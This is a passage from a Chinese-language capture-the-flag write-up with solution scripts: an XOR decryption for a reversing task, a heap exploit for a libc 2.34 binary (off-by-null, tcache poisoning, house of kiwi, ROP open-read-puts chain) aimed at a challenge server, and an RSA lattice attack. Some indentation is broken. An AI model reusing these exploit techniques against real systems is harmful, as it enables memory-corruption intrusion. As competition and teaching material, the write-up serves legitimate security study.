print("Byte sequence:")
for i in range(0, len(byte_array), 10):
    # 获取当前行的10个字节
    line = byte_array[i:i+10]
    # 格式化每个字节为十六进制并连接为字符串
print(", ".join(f"0x{byte:02X}" for byte in line))

解密:

# 密文v27数组的值(从代码中提取)
v27 = [
    0x40, 0xD8, 0x53, 0xDA, 0x50, 0xDF, 0x3B, 0xAB, 0x7C, 0xAC,
    0x20, 0xA9, 0x20, 0xFB, 0x74, 0xAA, 0x22, 0xAF, 0x73, 0xFA,
    0x2E, 0xAE, 0x20, 0xFC, 0x7F, 0xAE, 0x7D, 0xAA, 0x25, 0xFA,
    0x21, 0xFA, 0x70, 0xFA, 0x73, 0xFF, 0x75, 0xAD, 0x23, 0xE4
]

# 解密函数,逆向加密过程
def decrypt(v27):
    # 遍历密文数组进行逆向解密
    for i in range(len(v27)):
        if (i & 1) != 0:  # 对于奇数位置的元素,执行 XOR 操作
            v27[i] ^= 0x99
        else:  # 对于偶数位置的元素,先执行 XOR 操作,再加上 30
            v27[i] ^= 0x66
            v27[i] += 30

    # 返回解密后的 flag
    return bytes(v27).decode(errors='ignore')

# 解密并输出 flag
flag = decrypt(v27)
print("Decrypted flag:", flag)

PWN

pwn1

from pwn import *
io = process('./guess')
elf = ELF('./guess')
context(log_level='debug')
for i in range(0x14):
    io.recvuntil(b'input your guess\n')
    payload = b'777'
    payload = payload.ljust(8,b'\x00')
    io.send(payload)
io.recvuntil("good!\n")
io.sendline(str(0xdeadbeef))
io.sendline(str(0xdeadbeef))
io.sendline(str(0xdeadbeef))
io.sendline(str(0xdeadbeef))
io.sendline(str(0xdeadbeef))
io.sendline(str("+"))
io.sendline(str(0xdeadbeef))
io.sendline(str(0x4012db))
io.interactive()

pwn2

打开ida发现edit功能存在off by null的漏洞

这里观察show函数发现了存在加密,经过观察发现是RC4,这里找gpt获得解密脚本

Free函数无uaf

Add函数只能申请固定大小堆块,libc版本为2.34,很容易想到通过那个off by null利用house of kiwi进行攻击

from pwn import*  
from Crypto.Cipher import ARC4
context(os='linux',arch='amd64',log_level='debug')
libc=ELF('./libc.so.6')
elf=ELF('./heap')
p= remote('139.155.126.78',31054)
def s(a):
    p.send(a)
def sa(a, b):
    p.sendafter(a, b)
def sl(a):
    p.sendline(a)
def sla(a, b):
    p.sendlineafter(a, b)   
def li(a):
    print(hex(a))   
def r():
    p.recv()
def pr():
    print(p.recv())
def rl(a):
    return p.recvuntil(a)
def inter():
    p.interactive()
def get_32():
    return u32(p.recvuntil(b'\xf7')[-4:])  
def get_addr():
    return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb():
    return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))  
def bug():
    gdb.attach(p)
    pause() 
def cmd(a):
    sla(b'CHOICE: ',str(a))      
def add():
    cmd(1) 
def edit(idx,size,content):
    cmd(2)
    sla(b'INDEX: ',str(idx))
    sla(b'SIZE: ',str(size))
sa(b'CONTENT: ',content)  
def show(idx):
    cmd(3)
    sla(b'INDEX: ',str(idx))   
def free(idx):
    cmd(4)
    sla(b'INDEX: ',str(idx))
def decode(pay, key1):
    key = bytes(key1, encoding='utf-8')
    enc = ARC4.new(key)
    res = enc.decrypt(pay)
    return res
rc4_key = "\x7f\x45\x4c\x46\x02\x01\x01"

for i in range(15):
         add()
for i in range(3,10):
         free(i)
free(0)
free(1)
free(2)
for i in range(10):
        add()
show(9)
p.recv(5)
key = u64(decode(p.recv(5),rc4_key).ljust(8,b"\x00"))
heap_base = key << 12
li(key)
li(heap_base)
show(8)
p.recv(5)
libc_base = u64(decode(p.recv(6),rc4_key).ljust(8,b'\x00'))-0x1f2cc0
li(libc_base)
for i in range(7):
        free(i)
edit(7,0xf8,p64(heap_base+0x470)*2)
free(8)
for i in range(8):
         add()
free(9)
free(8)
ret=libc_base+libc.search(asm("ret")).__next__()
rdi=libc_base+libc.search(asm("pop rdi\nret")).__next__()
rsi=libc_base+libc.search(asm("pop rsi\nret")).__next__()
rax=libc_base+libc.search(asm("pop rax\nret")).__next__()
syscall=libc_base+libc.search(asm("syscall\nret")).__next__()
system,bin=get_sb()
open=libc_base+libc.sym['open']
read=libc_base + libc.sym['read']
puts=libc_base + libc.sym['puts']
stderr=libc_base+libc.sym['stderr']
_IO_list_all=libc_base+libc.sym['_IO_list_all']
_IO_wfile_jumps =libc_base+libc.sym['_IO_wfile_jumps']
setcontext = libc_base + libc.sym['setcontext'] + 61
rdx=libc_base+0x0000000000087759 #rdx,rbx
_IO_file_jumps = libc_base + 0x1f4560 + 0x60
_IO_helper_jumps = libc_base + 0x1f3960 + 0xa0
flag = heap_base + 0x1280 + 0xd0

orw = p64(rdi) + p64(flag) + p64(rsi) + p64(0) + p64(open)
orw +=p64(rdi) + p64(3) + p64(rsi) + p64(flag+0x10) + p64(rdx) + p64(0x100) + p64(0)+ p64(read)
orw +=p64(rdi) + p64(flag+0x10) + p64(puts)
orw = orw.ljust(0xd0 ,b"\x00")
orw += b'./flag\x00'
edit(7,0x10,p64(key ^ _IO_helper_jumps))
edit(14,0xf0,orw)
add() #8
add() #9
edit(9,0x10,p64(heap_base+0x1280) + p64(rdi+1))
free(10)
free(8)
edit(7,0x10,p64(key ^ _IO_file_jumps))
add() #8
add() #10
edit(10,0x10,p64(setcontext))
free(11)
free(8)
edit(7,0x10,p64(key^(heap_base + 0x1370)))
add() #8
add() #11
edit(11,0x10,p64(0)*2)
add()
add()

inter()

CRYPTO

bbb

强网杯apbq的part三,造了一通格子才认出来

from gmpy2 import *
from Crypto.Util.number import *
c=242319185698105966655811445195646165772013130518334334162252266969002201624779527078330676453235767390330780831161760574272413824450562363719470733193743162466341642825448999475127421027884538732952287818775578674011266584557436930741593502788559576089268405727954506642287558247104400841378166608643114577097136065234590225310895617443375941573228936034616455500751983362999490808023115657533450432557813185878160445309856767963194393138873447889804383396880767349563873409518315199704565143016369326672458639559958597154697965186545110678201108512625438329575629949086827161665402396440860960941415911878862932716
n=441522587869616749138797465532639436283961259111657934966888819387372178302775576376364712193076049405075347561837908020324373038749442055032833183300869647615172010963365836986154161648583082757314769298002257388631720849937763680726838132583378677561490049437481683836064669759255586303448222204575037683338662178295455778491007161112769510561185414715476484798533243282400251263092618695814970950180618826257642818430948899210822780087415109643704831306938196522011291127467370515424147721491645066322779363762109668238230739500744231601240751975467633389119737701026132439742280472955562542076451393469920709413
hint1=17817487943395422123342006438258298667428179946815051779848621580624602814557544233549701919939506547723962007508306809894299353166612229227579979518255525215296169402087911021532151814442967358027333089703201268353220339693072081576004483475155871334555810758463081853120188212504620113353614966771724444858136947027458226965305234232387086706519521150015910958417759945074484984220668424317692306964197465165961371032147311046782902947408983728409112857203221763810582563523855808203892411140679241411269431868123802101895164298037477881517928173151858504248818439471985658479639214407136813866163781042862874376623
hint2=507655543445719887393880289556052316199636906666104900190345863932916388145030360549029392536646985738191345835942055042349983029079001998686154728826856491260487483477968537386815513137401032976334169717301621583119046594107288445735196550464169567662623283761689493622187333261306587925390376485660497678023692394093269747965940785720005284184547408047483424966456717371657844981405816595512464907300400643958535745888734700846913746348325704420535690307781666535468546394350875710786845456727290841831099933648037602469321163771162452711978551964177586237673498624172843090041809878011155422986987754596960646442

x=hint1
y=hint2
e = 65537
R = Integers(n)
P.<a, b, p, q> = PolynomialRing(Integers(n))
f1 = a*p + q
f2 = p + b*q
f3 = p*q
I = Ideal([f1 - x, f2 - y, f3 - n])
B = I.groebner_basis()
g = B[-1]
z = ZZ(g.coefficient({q: 1}))
assert g.constant_coefficient() == R(-y)

_, (z1, _), (z2, _) = list(g)
z1 = ZZ(z1)
z2 = ZZ(z2)
S = 2^1024
for p_upper_bits in range(16):
    p_upper = p_upper_bits << 1020
    for q_upper_bits in range(16):
        q_upper = q_upper_bits << 1020
        M = matrix(ZZ, [[S, -1, 0, 0], [S*z1, 0, -1, 0], [S*(z2 + p_upper + q_upper*z1), 0, 0, S], [S*n, 0, 0, 0]])
        B = M.LLL()
        for b in B:
            if b[-1] == S:
                if b[1] < 0:
                    b *= -1
                p_guess = b[1] + p_upper
                q_guess = b[2] + q_upper
                if p_guess * q_guess == n:
                    d = pow(e, -1, (p_guess - 1)*(q_guess - 1))
                    message = int(pow(c, d, n))
                    message_bytes = message.to_bytes((message.bit_length() + 7) // 8, 'big')
                    print(message_bytes)